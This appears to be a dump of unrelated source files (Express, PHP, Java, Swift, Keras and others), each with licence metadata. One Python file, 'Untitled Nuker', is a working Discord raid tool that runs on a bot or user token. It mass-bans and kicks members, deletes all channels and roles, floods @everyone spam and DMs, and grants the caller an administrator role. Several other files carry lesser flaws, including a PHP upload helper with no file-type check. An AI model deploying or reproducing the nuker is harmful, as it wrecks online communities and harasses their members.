var data = require('../data/contacts'); var getNextId = () => data.length + 1; var isValidContact = (contact) => contact.name !== undefined; module.exports = function (app) { app.get('/api/contacts', function (req, res) { res.json(data); }); app.get('/api/contacts/:id', function (req, res) { var contact = data.find(contact => contact.id == req.params.id); contact ? res.json(contact) : res.status(404).json({ error: 'contact not found' }); }); app.put('/api/contacts/:id', function (req, res) { var contact = data.find(contact => contact.id == req.params.id); if (contact) { Object.assign(contact, req.body); res.json(contact); } else { res.status(404).json({ error: 'contact not found' }); } }); app.post('/api/contacts', function (req, res) { if (isValidContact(req.body)) { req.body.id = getNextId(); data.push(req.body); res.json(req.body); } else { res.status(404).json({ error: 'invalid structure' }); } }); };
TypeScript
UTF-8
535
2.59375
3
[ "MIT" ]
permissive
import { ObjectValidator, StringValidator } from '~/base/validator'; import { CreateDto } from '../type'; export class CreateValidator { private objectValidator: ObjectValidator; private stringValidator: StringValidator; constructor() { this.objectValidator = new ObjectValidator(); this.stringValidator = new StringValidator(); } public validate(body: CreateDto, location: string) { this.objectValidator.validate(body, location); this.stringValidator.validate(body.content, `${location}.content`); } }
PHP
UTF-8
1,914
2.59375
3
[]
no_license
<?php namespace App\Services; use App\Entity\Answer4You; use App\Repository\Answer4YouRepository; use Doctrine\ORM\EntityManagerInterface; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; class CloseOIA4UProcessService { private $closeIOA4UImportService; private $entityManager; public function __construct(EntityManagerInterface $entityManager, CloseIOA4UImportService $closeIOA4UImportService) { $this->entityManager = $entityManager; $this->closeIOA4UImportService = $closeIOA4UImportService; } /** * @param InputInterface $input * @param OutputInterface $output * @throws \PhpOffice\PhpSpreadsheet\Exception * @throws \PhpOffice\PhpSpreadsheet\Reader\Exception * @throws \Exception */ public function A4UDataProcessor(InputInterface $input, OutputInterface $output): void { /** @var Answer4YouRepository $repository */ $repository = $this->entityManager->getRepository(Answer4You::class); $createdDate = new \DateTime($input->getArgument('date')); if ($repository->findBy(['createdDate' => $createdDate])) { throw new \Exception('<info>File has already been upload by someone</info>'); } $data = $this->closeIOA4UImportService->importFile($input, $output); foreach ($data[0] as $key => $datum) { $a4UEntity = new Answer4You(); $a4UEntity->setDepartment($datum) ->setCallsMissed($data[1][$key]) ->setCreatedDate($createdDate) ->setFilename(pathinfo($input->getArgument('filename'))['basename']); $this->entityManager->persist($a4UEntity); } $this->entityManager->flush(); $this->entityManager->clear(); $output->writeln('Imported Answer for you excel file successfully'); } }
Python
UTF-8
13,819
2.625
3
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
import colorama import discord import json import traceback import requests import os import traceback from discord.ext import commands from colorama import Fore colorama.init() os.system('cls') version = "1.1.0" msgs = {"info": f"{Fore.WHITE}[{Fore.CYAN}i{Fore.WHITE}]", "+": f"{Fore.WHITE}[{Fore.CYAN}+{Fore.WHITE}]", "error": f"{Fore.WHITE}[{Fore.RED}e{Fore.WHITE}]", "input": f"{Fore.WHITE}{Fore.CYAN}>>{Fore.WHITE}"} async def msg_delete(ctx): """ Trying to delete activation message """ try: await ctx.message.delete() except: print(f"{msgs['error']}Can't delete your message") def userOrBot(): """ Returns True if token belongs to user's account Returns False if token belongs to bot's account """ if requests.get("https://discord.com/api/v8/users/@me", headers={"Authorization": f'{token}'}).status_code == 200: return True # Returns False if user is bot else: return False def checkVersion(): """ Checking for new versions on github """ try: res = requests.get("https://api.github.com/repos/ICEGXG/UntitledNuker/releases/latest", timeout=2) if res.status_code == 200: response = res.json() git_version = response['tag_name'] if version != git_version: return "(Update avaible)" else: return "(Latest)" else: return "" except: return "" print(f'{Fore.CYAN}\n\n __ __ __ __ ______ __ ______ __ ______ _____ ' + "\n" r' /\ \/\ \/\ "-.\ \/\__ _/\ \/\__ _/\ \ /\ ___\/\ __-. ' + "\n" r' \ \ \_\ \ \ \-. \/_/\ \\ \ \/_/\ \\ \ \___\ \ __\\ \ \/\ \ ' + "\n" r' \ \_____\ \_\\"\_\ \ \_\\ \_\ \ \_\\ \_____\ \_____\ \____- ' + "\n" r' \/_____/\/_/ \/_/ \/_/ \/_/ \/_/ \/_____/\/_____/\/____/ ' + "\n" '\n' r' __ __ __ __ __ __ ______ ______ ' + "\n" r' /\ "-.\ \/\ \/\ \/\ \/ / /\ ___\/\ == \ ' + "\n" r' \ \ \-. \ \ \_\ \ \ _"-\ \ __\\ \ __< ' + "\n" r' \ \_\\"\_\ \_____\ \_\ \_\ \_____\ \_\ \_\ ' + "\n" r' \/_/ \/_/\/_____/\/_/\/_/\/_____/\/_/ /_/ ' "\n" "\n" "\n" f"{Fore.WHITE} Author: {Fore.CYAN}ICE#4449\n" f"{Fore.WHITE} Version: {Fore.CYAN}{version} {checkVersion()}\n" f"{Fore.WHITE} GitHub: {Fore.CYAN}https://github.com/ICEGXG/UntitledNuker\n\n{Fore.WHITE}") """ Fetching prefix, token and owner ID's from config If there's no config requests is from the user """ try: with open(f"config.json", encoding='utf8') as data: config = json.load(data) token = config["token"] prefix = config["prefix"] owners = config["owners"] print(f"{msgs['info']} Loaded config.json") except FileNotFoundError: token = input(f"Paste token {msgs['input']} ") prefix = input(f"Paste prefix {msgs['input']} ") owners = input(f"Paste bot's owner ID (If several use ',') {msgs['input']} ") owners = owners.replace(" ", "") if "," in owners: owners = owners.split(",") owners = list(map(int, owners)) config = { "token": token, "prefix": prefix, "owners": owners } with open("config.json", "w") as data: json.dump(config, data, indent=2) print(f"{msgs['info']}Created config.json") activity = discord.Game(name=f"Untitled Nuker v{version}") bot = commands.Bot(command_prefix=prefix, self_bot=userOrBot(), activity=activity, intents=discord.Intents.all()) bot.remove_command("help") @bot.event async def on_ready(): print(f"\n\n{Fore.CYAN}" + ("═"*75).center(95) + f"\n{Fore.WHITE}" + f"Logged in as {bot.user}".center(95) + "\n" + f"Prefix: {prefix}".center(95) + "\n" + f"Total servers: {len(bot.guilds)}".center(95) + "\n" + f"Total members: {len(bot.users)} ".center(95) + f"\n{Fore.CYAN}" + ("═"*75).center(95) + f"\n\n{Fore.WHITE}") @bot.event async def on_command(ctx): print(f"{msgs['info']} Executed {ctx.command}") @bot.event async def on_command_error(ctx, err): errors = commands.errors if isinstance(err, errors.BadArgument) or isinstance(err, errors.PrivateMessageOnly): return elif isinstance(err, errors.MissingPermissions): print(f"{msgs['error']} Missing permissions") else: print(f'{Fore.RED}\n\n{"".join(traceback.format_exception(type(err), err, err.__traceback__))}{Fore.WHITE}\n') @bot.command(name='help') async def help(ctx): await msg_delete(ctx) p = prefix embed=discord.Embed(title="Help", color=0x5c92ff) embed.set_author(name="Untitled Nuker", url="https://github.com/ICEGXG/UntitledNuker") embed.add_field(name="Nuke", value=f"`{p}1 <ban 1/0> <your text>`", inline=False) embed.add_field(name="Ban everyone", value=f"`{p}2`", inline=False) embed.add_field(name="Kick everyone", value=f"`{p}3`", inline=False) embed.add_field(name="Rename everyone", value=f"`{p}4 <new nickname>`", inline=False) embed.add_field(name="DM everyone", value=f"`{p}5 <message>`", inline=False) embed.add_field(name="Spam to all channels", value=f"`{p}6 <amount> <text>`", inline=False) embed.add_field(name="Spam to current channel", value=f"`{p}7 <amount> <text>`", inline=False) embed.add_field(name="Delete all channels", value=f"`{p}`8", inline=True) embed.add_field(name="Delete all roles", value=f"`{p}9`", inline=True) embed.add_field(name="\u200b", value="\u200b", inline=True) embed.add_field(name="Spam with channels", value=f"`{p}10 <amount> <name>`", inline=True) embed.add_field(name="Spam with roles", value=f"`{p}11 <amount> <name>`", inline=True) embed.add_field(name="\u200b", value="\u200b", inline=True) embed.add_field(name="Edit server icon", value=f"`{p}12`\n`Image is attachment`", inline=True) embed.add_field(name="Edit server name", value=f"`{p}13 <name>`", inline=True) embed.add_field(name="Get admin", value=f"`{p}14 <name of role>`", inline=False) embed.add_field(name="\u200b", value="\u200b", inline=True) embed.add_field(name="Revive", value=f"`{p}15 <guild id>`\n`Creating 1 text channel on server if you deleted all`\n`Execute in DM`", inline=False) embed.add_field(name="\u200b\nInfo", value="**Untitled Nuker**\nMade by ICE#4449\nGitHub: https://github.com/ICEGXG/UntitledNuker\n", inline=False) await ctx.message.author.send(embed=embed) @bot.command(name='1', aliases=["nk", "nuke"]) async def nuke(ctx, ban: bool=True, text="Untitled Nuker"): await msg_delete(ctx) icon = await ctx.message.attachments[0].read() if ctx.message.attachments else None await ctx.guild.edit(name=text, icon=icon, banner=icon) for ch in ctx.guild.channels: try: await ch.delete() print(f"{msgs['+']} Deleted {ch}") except: print(f"{msgs['error']} Can't delete {ch}") if ban: for m in ctx.guild.members: if str(m.id) not in owners: try: await m.ban() print(f"{msgs['+']} Banned {m}") except: print(f"{msgs['error']} can't ban {m}") else: print(f"{msgs['info']} {m} is owner") for r in ctx.guild.roles: try: await r.delete() print(f"{msgs['+']} Deleted {r}") except: print(f"{msgs['error']} Can't delete {r}") @bot.command(name='2', aliases=["be"]) async def banEveryone(ctx): await msg_delete(ctx) for m in ctx.guild.members: if str(m.id) not in owners: try: await m.ban() print(f"{msgs['+']} Banned {m}") except: print(f"{msgs['error']} can't ban {m}") else: print(f"{msgs['info']} {m} is owner") @bot.command(name='3', aliases=["ke"]) async def kickEveryone(ctx): await msg_delete(ctx) for m in ctx.guild.members: if str(m.id) not in owners: try: await m.kick() print(f"{msgs['+']} Kicked {m}") except: print(f"{msgs['error']} can't kick {m}") else: print(f"{msgs['info']} {m} is owner") @bot.command(name="4", aliases=["chen"]) async def renameEveryone(ctx, *, name="Untitled Nuker"): await msg_delete(ctx) for m in ctx.guild.members: if str(m.id) not in owners: try: await m.edit(nick=name) print(f"{msgs['+']} Changed {m}'s nickname") except: print(f"{msgs['error']} Can't change {m}'s nickname") else: print(f"{msgs['info']} {m.name} is owner") @bot.command(name="5", aliases=["dme"]) async def dmEveryone(ctx, *, msg="Untitled Nuker"): await msg_delete(ctx) for m in ctx.guild.members: if str(m.id) not in owners: try: await m.send(msg) print(f"{msgs['+']} Message sent to {m}") except: print(f"{msgs['error']} Can't send message to {m}") else: print(f"{msgs['info']} {m.name} is owner") @bot.command(name="6", aliases=["sa"]) async def spamToAllChannels(ctx, amount: int=50, *, text="@everyone Untitled Nuker"): await msg_delete(ctx) for i in range(amount): for ch in ctx.guild.channels: try: await ch.send(text) print(f"{msgs['+']} Message sent to {ch}") except: print(f"{msgs['error']} Can't send message to {ch}") @bot.command(name='7', aliases=["sc"]) async def spamToCurrentChannel(ctx, amount: int=50, *, text="@everyone Untitled Nuker"): await msg_delete(ctx) for i in range(amount): try: await ctx.channel.send(text) print(f"{msgs['+']} Message sent to {ctx.channel}") except: print(f"{msgs['error']} Can't send message to {ctx.channel}") @bot.command(name='8', aliases=["dch"]) async def deleteAllChannels(ctx): await msg_delete(ctx) for ch in ctx.guild.channels: try: await ch.delete() print(f"{msgs['+']} Deleted {ch}") except: print(f"{msgs['error']} Can't delete {ch}") @bot.command(name='9', aliases=["dr"]) async def deleteAllRoles(ctx): await msg_delete(ctx) for r in ctx.guild.roles: try: await r.delete() print(f"{msgs['+']} Deleted {r}") except: print(f"{msgs['error']} Can't delete {r}") @bot.command(name="10", aliases=["sch"]) async def spamWithChannels(ctx, amount: int=25, *, name="Untitled Nuker"): await msg_delete(ctx) for i in range(amount): try: await ctx.guild.create_text_channel(name=name) print(f"{msgs['+']} Created channel") except: print(f"{msgs['error']} Can't create channel") @bot.command(name="11", aliases=["sr"]) async def spamWithRoles(ctx, amount: int=25, *, name="Untitled Nuker"): await msg_delete(ctx) for i in range(amount): try: await ctx.guild.create_role(name=name) print(f"{msgs['+']} Created role") except: print(f"{msgs['error']} Can't create role") @bot.command(name='12', aliases=["si"]) async def editServerIcon(ctx): await msg_delete(ctx) if ctx.message.attachments: icon = await ctx.message.attachments[0].read() else: return try: await ctx.guild.edit(icon=icon) print(f"{msgs['+']} Changed server icon") except: print(f"{msgs['error']} Can't change server icon") @bot.command(name='13', aliases=["sn"]) async def editServerName(ctx, *, name="Untitled Nuker"): await msg_delete(ctx) try: await ctx.guild.edit(name=name) print(f"{msgs['+']} Changed server name") except: print(f"{msgs['error']} Can't change server name") @bot.command(name="14", aliases=["ga"]) async def getAdmin(ctx, *, rolename="Untitled Nuker"): await msg_delete(ctx) try: perms = discord.Permissions(administrator=True) role = await ctx.guild.create_role(name=rolename, permissions=perms) await ctx.message.author.add_roles(role) print(f"{msgs['+']} Added admin role to {ctx.message.author}") except Exception as e: print(f"{msgs['error']} Can't add admin role to {ctx.message.author}") @bot.command(name='15', aliases=["rg"]) @commands.dm_only() async def reviveGuild(ctx, guildId: int=None): if guildId: guild = bot.get_guild(guildId) try: await guild.create_text_channel(name="Untitled Nuker") print(f"{msgs['+']} Revived {guild}") except: print(f"{msgs['error']} Can't revive {guild}") try: bot.run(token, bot=not userOrBot()) except discord.errors.LoginFailure: print(f'{msgs["error"]} Invalid Token') input() os._exit(0) except Exception as e: print(f'{Fore.RED}\nAn error occured while logging:\n{"".join(traceback.format_exception(type(e), e, e.__traceback__))}{Fore.WHITE}') input() os._exit(0)
Java
UTF-8
682
3.1875
3
[]
no_license
package com.tclab.algorithms.utils; import java.util.ArrayList; import java.util.List; import java.util.Random; public class Utils { public static List<Integer> randomList(int size) { Random random = new Random(); List<Integer> list = new ArrayList<Integer>(); for (int i = 0; i < size; i++) { int randNum = random.nextInt(size); while (list.contains(randNum)) { randNum = random.nextInt(size); } list.add(randNum); } return list; } public static List<Integer> sortedList(int size) { List<Integer> list = new ArrayList<Integer>(); for (int i = 0; i < size; i++) { list.add(i); } return list; } }
C
UTF-8
177
3.109375
3
[ "CC0-1.0" ]
permissive
#include <stdio.h> int main() { int inicial = 0, final=10, i; for(i=inicial; i<=final; i++) { printf("%d\n",i); } } /* Nota que "final+1" numero de iteraciones. */
Python
UTF-8
2,793
2.90625
3
[]
no_license
# multivariate output stacked lstm example import numpy from keras.models import Sequential from keras.layers import LSTM from keras.layers import Dense import cx_Oracle # split a multivariate sequence into samples def split_sequences(sequences, n_steps): X, y = list(), list() for i in range(len(sequences)): # find the end of this pattern end_ix = i + n_steps # check if we are beyond the dataset if end_ix > len(sequences)-1: break # gather input and output parts of the pattern seq_x, seq_y = sequences[i:end_ix, :], sequences[end_ix, :] X.append(seq_x) y.append(seq_y) return numpy.array(X), numpy.array(y) trainDate0="2018-05-30-00:00" trainHistoryLen=15000 inferDate0="2018-06-30-00:00" inferHistoryLen=80 con=cx_Oracle.connect('History/HistoryPwd@Algo') cur=con.cursor() hstmt="select open,high,low,close from( select newdatetime, open, lead(open) over(order by newdatetime) openF, high, lead(high) over(order by newdatetime) highF, low, lead(low) over(order by newdatetime) lowF, close, lead(close) over(order by newdatetime) closeF from ( select newdatetime, open, high, low, close from eurusd_h1 where newdatetime<=to_date('"+trainDate0+"','YYYY-MM-DD-HH24:MI') order by 1 desc) where rownum<"+str(trainHistoryLen)+" order by newdatetime)" cur.execute(hstmt) resList=cur.fetchall() trainSet=numpy.asarray(resList) cur.close() cur=con.cursor() hstmt="select open,high,low,close from( select newdatetime, open, lead(open) over(order by newdatetime) openF, high, lead(high) over(order by newdatetime) highF, low, lead(low) over(order by newdatetime) lowF, close, lead(close) over(order by newdatetime) closeF from ( select newdatetime, open, high, low, close from eurusd_h1 where newdatetime<=to_date('"+inferDate0+"','YYYY-MM-DD-HH24:MI') order by 1 desc) where rownum<"+str(inferHistoryLen)+" order by newdatetime)" cur.execute(hstmt) resList=cur.fetchall() inferSet=numpy.asarray(resList) cur.close() con.close() #print(trainSet) # choose a number of time steps n_steps = 50 # split training set into samples X, y = split_sequences(trainSet, n_steps) #print(X.shape, y.shape) # summarize the data #for i in range(len(X)): # print(X[i], y[i]) # the dataset knows the number of features, e.g. 2 n_features = X.shape[2] # define model model = Sequential() model.add(LSTM(100, activation='relu', return_sequences=True, input_shape=(n_steps, n_features))) model.add(LSTM(100, activation='relu')) model.add(Dense(n_features)) model.compile(optimizer='adam', loss='mse') # fit model model.fit(X, y, epochs=20, verbose=1) # split infer set into samples X, y = split_sequences(inferSet, n_steps) print(y) print("-------------------------------------------------------------------") # demonstrate prediction yhat = model.predict(X, verbose=1) print(yhat)
Java
UTF-8
5,230
2.1875
2
[]
no_license
/* * Copyright 2012 Hannes Janetzek * * This program is free software: you can redistribute it and/or modify it under the * terms of the GNU Lesser General License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A * PARTICULAR PURPOSE. See the GNU Lesser General License for more details. * * You should have received a copy of the GNU Lesser General License along with * this program. If not, see <http://www.gnu.org/licenses/>. */ package org.oscim.renderer; import java.nio.Buffer; import org.oscim.backend.GL20; import org.oscim.backend.GLAdapter; import org.oscim.backend.Log; import org.oscim.utils.GlUtils; public final class BufferObject { private final static String TAG = BufferObject.class.getName(); private final static GL20 GL = GLAdapter.get(); private static final int MB = 1024 * 1024; private static final int LIMIT_BUFFERS = 16 * MB; // GL identifier public int id; // allocated bytes public int size; BufferObject next; int target; BufferObject(int target, int id) { this.id = id; this.target = target; } public void loadBufferData(Buffer buf, int newSize) { boolean clear = false; if (buf.position() != 0) { Log.d(TAG, "rewind your buffer: " + buf.position()); } GL.glBindBuffer(target, id); // reuse memory allocated for vbo when possible and allocated // memory is less then four times the new data if (!clear && (size > newSize) && (size < newSize * 4)) { GL.glBufferSubData(target, 0, newSize, buf); } else { mBufferMemoryUsage += newSize - size; size = newSize; GL.glBufferData(target, size, buf, GL20.GL_DYNAMIC_DRAW); } } public void bind() { GL.glBindBuffer(target, id); } // ---------------------------- pool ---------------------------- // bytes currently loaded in VBOs private static int mBufferMemoryUsage; public static void checkBufferUsage(boolean force) { // try to clear some unused vbo when exceding limit if (mBufferMemoryUsage < LIMIT_BUFFERS) return; Log.d(TAG, "buffer object usage: " + mBufferMemoryUsage / MB + "MB, force: " + force); mBufferMemoryUsage -= BufferObject.limitUsage(1024 * 1024); Log.d(TAG, "now: " + mBufferMemoryUsage / MB + "MB"); } private final static BufferObject pool[] = new BufferObject[2]; private final static int counter[] = new int[2]; public static synchronized BufferObject get(int target, int size) { int t = (target == GL20.GL_ARRAY_BUFFER) ? 0 : 1; if (pool[t] == null) { if (counter[t] != 0) Log.d(TAG, "BUG: missing BufferObjects: " + counter); createBuffers(target, 10); counter[t] += 10; } counter[t]--; if (size != 0) { // find an item that has bound more than 'size' bytes. // this has the advantage that either memory can be reused or // a large unused block will be replaced by a smaller one. BufferObject prev = null; for (BufferObject bo = pool[t]; bo != null; bo = bo.next) { if (bo.size > size) { if (prev == null) pool[t] = bo.next; else prev.next = bo.next; bo.next = null; return bo; } prev = bo; } } BufferObject bo = pool[t]; pool[t] = pool[t].next; bo.next = null; return bo; } public static synchronized void release(BufferObject bo) { if (bo == null) return; // if (counter > 200) { // Log.d(TAG, "should clear some buffers " + counter); // } int t = (bo.target == GL20.GL_ARRAY_BUFFER) ? 0 : 1; bo.next = pool[t]; pool[t] = bo; counter[t]++; } // Note: only call from GL-Thread static synchronized int limitUsage(int reduce) { int vboIds[] = new int[10]; int freed = 0; for (int t = 0; t < 2; t++) { int removed = 0; BufferObject prev = pool[t]; if (prev == null) { Log.d(TAG, "nothing to free"); return 0; } for (BufferObject bo = pool[t].next; bo != null;) { if (bo.size > 0) { freed += bo.size; bo.size = 0; vboIds[removed++] = bo.id; prev.next = bo.next; bo = bo.next; if (removed == 10 || reduce < freed) break; } else { prev = bo; bo = bo.next; } } if (removed > 0) { GlUtils.glDeleteBuffers(removed, vboIds); counter[t] -= removed; } } return freed; } static void createBuffers(int target, int num) { int[] mVboIds = GlUtils.glGenBuffers(num); int t = (target == GL20.GL_ARRAY_BUFFER) ? 0 : 1; for (int i = 0; i < num; i++) { BufferObject bo = new BufferObject(target, mVboIds[i]); bo.next = pool[t]; pool[t] = bo; } } static synchronized void clear() { mBufferMemoryUsage = 0; pool[0] = null; pool[1] = null; counter[0] = 0; counter[1] = 0; } static synchronized void init(int num) { createBuffers(GL20.GL_ARRAY_BUFFER, num); counter[0] += num; } }
Swift
UTF-8
2,985
2.53125
3
[]
no_license
// // MapViewController.swift // StudySavior // // Created by Ally Klionsky on 5/2/19. // Copyright © 2019 Ally Klionsky. All rights reserved. // import UIKit import MapKit class MapViewController: UIViewController { @IBOutlet weak var tableView: UITableView! @IBOutlet weak var mapView: MKMapView! var reusableTableView: ReusableTableView! var students = [Student.ally, Student.elly, Student.liam, Student.rudd] required init?(coder aDecoder: NSCoder) { super.init(coder: aDecoder) } override func viewWillAppear(_ animated: Bool) { self.navigationController?.setNavigationBarHidden(true, animated: false) super.viewWillAppear(animated) } override func viewDidLoad() { super.viewDidLoad() self.mapView.delegate = self let initialLocation = CLLocation(latitude: 34.024894,longitude: -118.2829904) let regionRadius: CLLocationDistance = 2500 func centerMapOnLocation(location: CLLocation) { let coordinateRegion = MKCoordinateRegion(center: location.coordinate, latitudinalMeters: regionRadius, longitudinalMeters: regionRadius) mapView.setRegion(coordinateRegion, animated: true) } centerMapOnLocation(location: initialLocation) tableView.tableHeaderView = (UINib(nibName: "TableHeader", bundle: nil).instantiate(withOwner: nil, options: nil)[0] as! UIView) reusableTableView = ReusableTableView(tableView, self.students) reusableTableView.didSelectCellClosure = {(s: Any) -> Void in self.performSegue(withIdentifier: "showDetail", sender: s) } reusableTableView.tableView.reloadData() let locs = [Pin.west, Pin.row, Pin.nn, Pin.newmans, Pin.village, Pin.zo, Pin.cc, Pin.doheny, Pin.parkside] for s in students { for i in locs { if i.title == s.location { mapView.addAnnotation(i) } } } } override func prepare(for segue: UIStoryboardSegue, sender: Any?) { if segue.identifier == "showDetail" { if let indexPath = sender as? IndexPath { let student: Student student = students[indexPath.row] reusableTableView.tableView.deselectRow(at: indexPath, animated: true) let controller = segue.destination as! StudentViewController controller.isMyProfile = false controller.student = student } } } } extension MapViewController: MKMapViewDelegate { func mapView(_ mapView: MKMapView, viewFor annotation: MKAnnotation) -> MKAnnotationView? { let annotationView = MKAnnotationView(annotation: annotation, reuseIdentifier: "pin") annotationView.image = UIImage(named: "location") return annotationView } }
Java
UTF-8
496
2.796875
3
[]
no_license
package ArraySearch_linear_index; public class Search_Element_index_no { public static String search (int []x, int y) { int index=-1 ; for(int i=0;i<x.length;i++) { if(x[i]==y) { index=i; break; } } return "Number fund at index no:"+index; } public static void main(String[] args) { int []x={12,23,2,2,3,4,5,6,9}; String j=search(x,9); System.out.println(j); } }
JavaScript
UTF-8
2,942
2.640625
3
[]
no_license
var mongodb = require('./db'); function User(user) { this.userid = user.userid; this.username = user.username; this.password = user.password; this.name = user.name; }; /** * 保存 * @param callback */ User.save = function save(callback) { console.log("保存username::"+this.username); mongodb.open(function(err, db) { if (err) { return callback(err); } db.collection('users', function(err, collection) { if (err) { mongodb.close(); return callback(err); } collection.insert(user, {safe: true}, function(err, user) { mongodb.close(); callback(err, user); }); }); }); } /** * 查询 * @param username * @param callback */ User.get = function get(user, callback) { mongodb.open(function(err, db) { if (err) { return callback(err); } db.collection('users', function(err, collection) { if (err) { mongodb.close(); return callback(err); } collection.findOne({username: user.username,password:user.password}, function(err, doc) { mongodb.close(); if (doc) { var user = new User(doc); callback(err, user); } else { callback(err, null); } }); }); }); }; User.getAllUser = function getAllUser(callback) { mongodb.open(function(err, db) { if (err) { return callback(err); } db.collection('users', function(err, collection) { if (err) { db.close(); return callback(err); } var query = {}; collection.find(query).sort({"userid": 1}).toArray(function(err, docs) { db.close(); if (err) { db.close(); callback(err, null); } var user_arr = []; docs.forEach(function(doc, index) { user_arr.push(doc); }); callback(null, user_arr); }); }); }); }; User.getAllFriends = function getAllFriends(params,callback) { if(!mongodb.openCalled){ mongodb.open(function(err, db) { if (err) { return callback(err); } db.collection('users', function(err, collection) { if (err) { return callback(err); } var fields = { "friends": 1, "groups":1 } var query = { userid:parseInt(params.userid) } collection.find(query,fields).sort({"userid": 1}).toArray(function(err, docs) { if (err) { callback(err, null); } var friend_arr = {}; docs.forEach(function(doc, index) { friend_arr = doc; }); callback(null, friend_arr); }); }); }); } else{ mongodb.collection('users', function(err, collection) { if (err) { return callback(err); } var query = { userid: parseInt(params.userid) } var fields = { "friends": 1, "groups":1 } collection.find(query,fields).sort({userid: 1}).toArray(function(err, docs) { if (err) { callback(err, null); } var result = {}; docs.forEach(function(doc, index) { result = doc; }); callback(null, result); }); }); } }; module.exports = User;
Swift
UTF-8
2,197
2.84375
3
[ "MIT" ]
permissive
// // CsvParser.swift // iAirportsDB // // Created by Christopher Hobbs on 8/19/16. // Copyright © 2016 Toonsy Net. All rights reserved. // import Foundation class CsvParser: Parser, CHCSVParserDelegate { var columns = [String]() var lineDictionary = [String: String]() var fileName = "" var recordNumber: UInt = 0 let parser:CHCSVParser var lineHandler: (([String: String]) -> Void) = { (_:[String : String]) in return } init(fileName: String) { self.fileName = fileName guard let url = Bundle.main.url(forResource:fileName, withExtension: "csv") else { fatalError( "File not found for parsing: \(fileName).csv") } self.parser = CHCSVParser(contentsOfCSVURL: url) self.parser.trimsWhitespace = true self.parser.sanitizesFields = true } func parseLines(lineHandler: @escaping ([String: String]) -> Void) { self.lineHandler = lineHandler self.parser.delegate = self print("Starting parse: \(fileName)") self.parser.parse() print("Finished parse: \(fileName), lines: \(UInt(self.recordNumber))") } @objc func parser(_ parser: CHCSVParser!, didBeginLine recordNumber: UInt) { self.recordNumber = recordNumber if recordNumber % 1000 == 0 { print("line \(Int(recordNumber))") } if recordNumber > 1 { lineDictionary = [String: String]() } else { self.columns = [String]() } } @objc func parser(_ parser: CHCSVParser!, didReadField field: String!, at fieldIndex: Int) { if recordNumber == 1 { if columns.contains(field) { print( "WARNING: duplicate column: \(field ?? "")" ) } columns.append(field) } else { let column = (fieldIndex >= 0 && fieldIndex < columns.count) ? columns[fieldIndex] : String(fieldIndex) lineDictionary[ column ] = field } } @objc func parser(_ parser: CHCSVParser!, didEndLine recordNumber: UInt) { if recordNumber > 1 { self.lineHandler(lineDictionary) } } }
Java
UTF-8
903
2.34375
2
[ "MIT" ]
permissive
package org.apache.commons.exec.test; import org.apache.commons.exec.CommandLine; import org.apache.commons.exec.DefaultExecutor; import org.apache.commons.exec.ExecuteException; import org.apache.commons.exec.ExecuteResultHandler; import org.apache.commons.exec.Executor; import org.junit.After; import org.junit.Test; public class CommonExecTest { // @After public void finish() throws InterruptedException { Thread.sleep(10000); } // @Test public void execAsync() throws Exception { Executor executor = new DefaultExecutor(); executor.execute(CommandLine.parse("notepad.exe"), new ExecuteResultHandler() { @Override public void onProcessComplete(int exitValue) { System.out.println(exitValue); } @Override public void onProcessFailed(ExecuteException e) { e.printStackTrace(); } }); System.out.println("end"); } }
PHP
WINDOWS-1251
10,776
2.65625
3
[]
no_license
<?php /** * * * @param array $files * @param string $from * @return array */ function downloadFiles($files, $count, $name, $dir, $resample_size = array(), $quality = 85, $delete = false) { $images = $photo_arr = array(); $change1 = array('', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ' '); $change2 = array('a', 'b', 'v', 'g', 'd', 'e', 'jo', 'zh', 'z', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'r', 's', 't', 'u', 'f', 'h', 'c', 'ch', 'sh', 'shh', '', 'y', '', 'je', 'ju', 'ja', ''); for ($i=0; $i<$count; $i++) { if (is_array($files['fld']['name'][$name])) { if (!empty($files['fld']['name'][$name][$i])) { $filename = $files['fld']['name'][$name][$i]; $filename = str_replace($change1, $change2, strtolower($filename)); $full_filename = $dir.'/'.$filename; if ($resample_size) { // , $size = getimagesize($files['fld']['tmp_name'][$name][$i]); if (!$size) continue; } if (@move_uploaded_file($files['fld']['tmp_name'][$name][$i], $full_filename) !== false) { @chmod($full_filename, 0664); if ($resample_size) { $del = $delete; foreach ($resample_size as $key=>$val) { $image = ResampleImage($dir, $filename, $val, false, $quality); if ($image) { $image = path($image); $photo_arr[$i][$key] = $image; ksort($photo_arr[$i]); } } // , , // if ($del && $photo_arr[$i]['image_large']!=$full_filename) unlink ($full_filename); } else $photo_arr[$i] = $filename; } } } else { if (!empty($files['fld']['name'][$name])) { $filename = $files['fld']['name'][$name]; $filename = str_replace($change1, $change2, strtolower($filename)); $full_filename = $dir.'/'.$filename; if ($resample_size) { // , $size = getimagesize($files['fld']['tmp_name'][$name]); if (!$size) continue; } if (@move_uploaded_file($files['fld']['tmp_name'][$name], $full_filename) !== false) { @chmod($full_filename, 0664); if ($resample_size) { // $file['image_large'] = $full_filename; $file['image_small'] = ResampleImage($dir, $filename, $resample_size, $delete, $quality); $images[] = $file; } else $images[] = $filename; $photo_arr = $images; } } } } return $photo_arr; } # function ResampleImage($file_dir, $file_name, $size, $delete = false, $quality) { $dot = strrpos($file_name, '.'); $fext = substr($file_name, $dot); switch (strtolower($fext)) { case '.jpeg': ; // : case '.jpg': {if (!function_exists('ImageCreateFromJPEG')) { return false;} break;} case '.gif': {if (!function_exists('ImageCreateFromGIF')) { return false;} break;} case '.png': {if (!function_exists('ImageCreateFromPNG')) { return false;} break;} default: return false; } $img_size = @GetImageSize($file_dir.'/'.$file_name); if ($img_size[2]>3){ return false; } # 1-GIF;2-JPG;3-PNG if (isset($size[1])) { $new_size = ImageSize2($img_size, $size[0], $size[1]); } else { $new_size = ImageSize2($img_size, $size[0]); } if ($img_size[0] == $new_size[0] && $img_size[1] == $new_size[1]){ $ret = $file_dir.'/'.$file_name; return imgpath($ret); # No changes needed } switch ($img_size[2]) { case 1: $src = @ImageCreateFromGIF($file_dir.'/'.$file_name); break; case 2: $src = @ImageCreateFromJPEG($file_dir.'/'.$file_name); break; case 3: $src = 